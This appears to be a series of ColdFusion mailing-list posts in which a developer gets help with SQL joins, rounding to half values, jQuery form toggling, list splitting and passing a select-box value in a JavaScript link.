(ot) SQL Guru Needed
Hello. Any SQL Guru up for a challenge? I've inherited a wacky database that I need to pull info from. I'm trying to pull a range of prices for a specific product. I'd like to simply the two queries below (which work), possibly using sub-queries or some other SQL trick. Any ideas? cfset pid = 11444 cfquery name=getOptions datasource=#dsn# select optID fromproductOptions where productID = cfqueryparam value=#pid# cfsqltype=cf_sql_integer order by optID /cfquery cfset optIDList = valueList(getOptions.optid) cfquery name=q datasource=#dsn# Select min(optprice) as minprice, max(optprice) as maxprice fromoptions where optID in (cfqueryparam value=#optIDList# cfsqltype=cf_sql_integer list=Yes) /cfquery cfoutput cfif q.minprice eq q.maxprice#dollarFormat(q.minprice)#cfelse#dollarFormat(q.minprice)# - #dollarFormat(q.maxprice)#/cfif /cfoutput Thanks, CV ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329621 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) SQL Guru Needed
Bangs head on desk... Needs more coffee... Don't know why I tried to overcomplicate things, but that seems to work. Thanks! CV -Original Message- From: Leigh [mailto:cfsearch...@yahoo.com] Sent: Wednesday, January 13, 2010 11:08 AM To: cf-talk Subject: Re: (ot) SQL Guru Needed What about a basic join? SELECT MIN(optPrice) AS minPrice, MAX(optPrice) AS MaxPrice FROMproductOptions po INNER JOIN options o ON o.optID = po.optID WHERE productID = cfqueryparam value=#pid# cfsqltype=cf_sql_integer ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:329624 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Round to the nearest .5 value
I'm trying to create a ratings system that shows 1/2 values. Quick question, what would be the easiest way to round a value to the nearest .5 of a number? I'm trying to avoid multiple if/elses. i.e. 3.21 would round to 3 i.e. 3.31 would round to 3.5 i.e. 3.61 would round to 3.5 i.e. 3.91 would round to 4 Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:328685 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Round to the nearest .5 value
Sweet! Many years ago, in high school Algebra class, I would have been able to figure that out. It's amazing what we forget. -Original Message- From: Barney Boisvert [mailto:bboisv...@gmail.com] Sent: Wednesday, November 25, 2009 2:23 PM To: cf-talk Subject: Re: Round to the nearest .5 value Assuming 'n' is your number, use #round(n * 2) / 2# For example: 3.21 * 2 == 6.42 round(6.42) == 6 6 / 2 == 3 3.31 * 2 = 6.62 round(6.62) == 7 7 / 2 == 3.35 cheers, barneyb ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:328691 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Looking for jQuery Form Help...
Thanks again Tony. Your help is much appreciated... -Original Message- From: Tony Bentley [mailto:t...@tonybentley.com] Sent: Tuesday, October 13, 2009 5:33 PM To: cf-talk Subject: Re: Looking for jQuery Form Help... You just need to point to each form element that you want to disable. For instance, if you setup a parent container then you can command each matching element to disable: function disableForm(bool){ $(#DivWithInputs input,#DivWithInputs textarea).each(function(){ $(this).attr(disabled,bool); }); } div id=DivWithInputs input type=checkbox input type=radio textarea/ etc /div Then just setup a true/false on your two radios ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327174 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Splitting a list...
Would this work? http://cflib.org/udf/ListSplit -Original Message- From: Peter Boughton [mailto:bought...@gmail.com] Sent: Wednesday, October 14, 2009 5:33 AM To: cf-talk Subject: Re: Splitting a list... lets say we have 650 elements in our list. split them into seperate lists with a maximun of 100 elements. remember, each list must be in a variable ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327176 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Looking for jQuery Form Help...
Take a look at the link below. It's a screen shot of a form where the Shipping form fields can be toggled on/off. I haven't been able to find (or search properly) for jQuery code that does something similar. Can anyone point me in the right direction? Thanks, Che http://www.asitv.com/images/jquery_form.jpg ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327115 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Looking for jQuery Form Help...
I should add that by default, the bottom form fields in my example screen shot are off. That is, they are visible, but you can't enter any data. When turned on, only then can data be entered. Thanks in advance to anyone that can help. -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Tuesday, October 13, 2009 10:26 AM To: cf-talk Subject: Looking for jQuery Form Help... Take a look at the link below. It's a screen shot of a form where the Shipping form fields can be toggled on/off. I haven't been able to find (or search properly) for jQuery code that does something similar. Can anyone point me in the right direction? Thanks, Che http://www.asitv.com/images/jquery_form.jpg ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327122 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Looking for jQuery Form Help...
Tony, thanks so much! Tested EQ What I needed! -Original Message- From: Tony Bentley [mailto:t...@tonybentley.com] Sent: Tuesday, October 13, 2009 11:32 AM To: cf-talk Subject: Re: Looking for jQuery Form Help... Tested: input type=radio onclick=showHide(true) value=true name=UseDifferentShippingAddress Disable input type=radio onclick=showHide(false) value=true name=UseDifferentShippingAddress checked=checked Enable div id=DifferentShippingAddress input name=shippingaddress disabled=true //div script function showHide(bool){ if(bool) { $(input[name=shippingaddress]).attr(disabled,true); } else{ $(input[name=shippingaddress]).attr(disabled,false); } } /script ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327133 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Looking for jQuery Form Help...
Hello again Tony. How would I take your below example and use it to disable select boxes, textareas, radio buttons and checkboxes? Thanks, Che -Original Message- From: Tony Bentley [mailto:t...@tonybentley.com] Sent: Tuesday, October 13, 2009 11:32 AM To: cf-talk Subject: Re: Looking for jQuery Form Help... input type=radio onclick=showHide(true) value=true name=UseDifferentShippingAddress Disable input type=radio onclick=showHide(false) value=true name=UseDifferentShippingAddress checked=checked Enable div id=DifferentShippingAddress input name=shippingaddress disabled=true //div script function showHide(bool){ if(bool) { $(input[name=shippingaddress]).attr(disabled,true); } else{ $(input[name=shippingaddress]).attr(disabled,false); } } /script ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:327151 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: http://cflib.org/ down???
Sounds like a potential blog entry??? -Original Message- From: Raymond Camden [mailto:rcam...@gmail.com] Subject: Re: http://cflib.org/ down??? Got it guys. Thanks. This is a dumb bug that only occurs after a reboot, and I've yet to fix it. FYI, also note another mistake I'll point out (I only make mistakes so other people can learn... not) - I've got an error event defined for the Model-Glue app, but no low level error handling in case the app can't start at all. Something to consider if you are using a framework. ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326952 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
http://cflib.org/ down???
Who needs to be notified? Ray, C? Che Vilnonis Application Developer Advertising Systems Incorporated 8470C Remington Avenue Pennsauken, NJ 08110 p: 856.488.2211 f: 856.488.1990 www.asitv.com ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326894 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Splitting a list...
Say you have a list with 12 elements... something like... cfset thelist = aa,bb,cc,dd,ee,ff,uu,vv,ww,xx,yy,zz What would be the most efficient way to split the list into two lists, one containing the first 6 elements, the other the last six elements. Currently, I'm using cfloop to build a 2 new lists and thought there must be a quicker way. Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326898 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Splitting a list...
Thanks. I'm not sure if your method is quicker, but it allows me to break my list wherever I need to. -Original Message- From: Claude Schneegans [mailto:schneeg...@internetique.com] Sent: Monday, October 05, 2009 12:00 PM To: cf-talk Subject: Re: Splitting a list... cfset thelist =aa,bb,cc,dd,ee,ff,uu,vv,ww,xx,yy,zz What would be the most efficient way to split the list into two lists, Try this : cfset thelist =aa,bb,cc,dd,ee,ff,uu,vv,ww,xx,yy,zz CFSET st = REFind (([^\,]*\,){6}, thelist, 1, true) CFSET list1 = mid(theList, 1, st.len[1]-1) CFSET list2 = mid(theList, st.len[1]+1, ) CFOUTPUT list1 = #list1#BR list2 = #list2#BR /CFOUTPUT ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326905 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Simple JS question...
Hope this one is easy... how can I get the selected value from a form's select box and then pass that value as a variable in a href? Can it be done with an onClick event? a onclick=*some js here*; href=/account/index.cfm?mode=wishlistproductid=*js value here*Add to Wishlist/abr / Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326369 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Simple JS question...
Charlie/Duane... Thanks. That did the trick! -Original Message- From: Charlie Griefer [mailto:charlie.grie...@gmail.com] Sent: Wednesday, September 16, 2009 3:02 PM To: cf-talk Subject: Re: Simple JS question... not tested, but something like: a href=# onclick=takeMeThere();Add to Wishlist/a script type=text/javascript function takeMeThere() { var mySelectBox = document.getElementById('mySelectBox'); var productID = mySelectBox.options[mySelectBox.selectedIndex].value; location.href = /account/index.cfm?mode=wishlistproductid= + productID; } /script On Wed, Sep 16, 2009 at 11:54 AM, Che Vilnonis ch...@asitv.com wrote: Hope this one is easy... how can I get the selected value from a form's select box and then pass that value as a variable in a href? Can it be done with an onClick event? a onclick=*some js here*; href=/account/index.cfm?mode=wishlistproductid=*js value here*Add to Wishlist/abr / Thanks, Che ~| Want to reach the ColdFusion community with something they want? Let them know on the House of Fusion mailing lists Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:326373 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4